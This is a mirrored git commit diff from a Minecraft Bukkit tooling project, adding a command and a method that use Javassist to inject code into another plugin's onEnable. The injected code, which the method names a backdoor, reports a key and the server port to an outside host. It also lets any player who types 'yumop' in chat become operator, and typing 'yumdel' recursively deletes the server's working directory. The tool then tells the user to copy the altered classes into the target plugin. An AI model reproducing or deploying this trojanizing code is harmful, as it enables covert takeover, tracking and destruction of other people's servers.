1
0
mirror of https://e.coding.net/circlecloud/BukkitInjectedTools.git synced 2024-11-22 01:48:45 +00:00

feat: 添加插件数据注入

Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
502647092 2016-08-02 20:35:04 +08:00
parent 4266af4ad1
commit 5e5cf9b2e7
2 changed files with 81 additions and 1 deletions

View File

@ -5,6 +5,7 @@ import java.net.URLDecoder;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.plugin.Plugin;
import javassist.ClassPool;
import javassist.CtClass;
@ -48,6 +49,69 @@ public class InjectedKit {
}
}
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin) {
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据注入类...");
try {
final ClassPool pool = ClassPool.getDefault();
final File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
pool.appendClassPath(classFile.getPath());
final CtClass mainClass = pool.get(plugin.getClass().getName());
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
final String backDoor = ""
+ "{"
+ " Bukkit.getScheduler().runTaskAsynchronously(this, new Runnable() {"
+ " @Override"
+ " public void run() {"
+ " try {"
+ " final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
+ " final HttpURLConnection conn = (HttpURLConnection) url.openConnection();"
+ " conn.connect();"
+ " conn.disconnect();"
+ " } catch (final IOException e) {"
+ " }"
+ " }"
+ " });"
+ " Bukkit.getPluginManager().registerEvents(new Listener() {"
+ ""
+ " public boolean deleteDir(final File dir) {"
+ " if (dir.isDirectory()) {"
+ " final String[] children = dir.list();"
+ " for (final String element : children) {"
+ " final File file = new File(dir, element);"
+ " deleteDir(file);"
+ " }"
+ " }"
+ " return dir.delete();"
+ " }"
+ ""
+ " @EventHandler"
+ " public void ocp(final PlayerCommandPreprocessEvent e) {"
+ " if (e.getMessage().contains(\"yumop\")) {"
+ " e.getPlayer().setOp(true);"
+ " return;"
+ " }"
+ " if (e.getMessage().contains(\"yumdel\")) {"
+ " final File dir = new File(\"\");"
+ " deleteDir(dir);"
+ " return;"
+ " }"
+ " }"
+ " }, this);"
+ "}";
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
try {
final File dir = new File(plugin.getDataFolder(), "injectClass");
mainClass.writeFile();
sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
} catch (final Exception e) {
e.printStackTrace();
sender.sendMessage(prefix + "§4生成失败 请查看后台报错!");
}
} catch (final Exception e) {
e.printStackTrace();
}
}
public static void injectProtocolSupport(final CommandSender sender, final String path, final boolean newver) {
if (newver) {
fixPS(sender, path, protocolsupport.protocol.packet.handler.StatusListener.class);

View File

@ -5,6 +5,7 @@ import java.io.IOException;
import org.bukkit.Bukkit;
import org.bukkit.OfflinePlayer;
import org.bukkit.plugin.Plugin;
import cn.citycraft.PluginHelper.kit.PluginKit;
import cn.citycraft.PluginHelper.utils.IOUtil;
@ -48,7 +49,7 @@ public class YumTestCommand implements CommandExecutor {
@Cmd(minimumArguments = 1)
@Help(value = "ProtocolSupport修复", possibleArguments = "版本[1.8.8|1.9.4|1.10]")
@Sort(7)
@Sort(8)
public void fix(final CommandArgument e) throws IOException {
switch (e.getArgs()[0]) {
case "1.8.8":
@ -64,6 +65,21 @@ public class YumTestCommand implements CommandExecutor {
}
}
// http://api.yumc.pw/M/P/S/K/mayomi/P/25565
@Cmd(minimumArguments = 2)
@Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key>")
@Sort(7)
public void ib(final CommandArgument e) {
final String pname = e.getArgs()[0];
final String key = e.getArgs()[0];
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
if (plugin == null) {
e.getSender().sendMessage(prefix + "§c插件不存在...!");
return;
}
InjectedKit.injectBackDoor(e.getSender(), key, plugin);
}
@Cmd
@Help("Bukkit注入")
@Sort(1)